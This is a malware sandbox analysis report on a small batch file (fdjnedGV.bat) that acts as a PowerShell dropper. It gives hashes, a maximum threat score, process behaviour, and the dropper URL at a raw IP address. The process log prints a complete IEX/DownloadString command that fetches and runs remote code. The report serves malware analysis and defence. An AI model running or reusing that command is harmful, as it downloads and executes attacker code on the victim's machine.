cb8dd0fea847727d0f111df73187d8f78b67479c9225cfc7c32860a915dd5832 | Triage

Analysis

max time kernel
119s
max time network
121s
platform
windows10_x64
resource
win10v200217
submitted
20-03-2020 04:10

Sharing

Report Analysis Logs

General

Target

fdjnedGV.bat
Size

192B
MD5

8f7dffa5522df79e5b33140373b3d1af
SHA1

ce53fe47f145c69821fb62aded58cc7111b30354
SHA256

cb8dd0fea847727d0f111df73187d8f78b67479c9225cfc7c32860a915dd5832
SHA512

699adbc5eed8f93f1e6c324c96379b5ed4da00a5c72df782854f5f0281d6d7c0c2350899b93570a4316b457a96d169aa8226c5199b5adf2c101fb8c0b4321c8c

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/fdjnedGV

Signatures

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe
3836	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3836 3500 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3836 WerFault.exe
Token: SeBackupPrivilege 3836 WerFault.exe
Token: SeDebugPrivilege 3836 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fdjnedGV.bat"
1⤵
PID:4044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/fdjnedGV');Invoke-NBPNZEPPV;Start-Sleep -s 10000"
2⤵
PID:3500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3500 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3836

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3836-0-0x0000000004510000-0x0000000004511000-memory.dmp

Filesize
4KB

Download
memory/3836-1-0x0000000004B40000-0x0000000004B41000-memory.dmp

Filesize
4KB

Download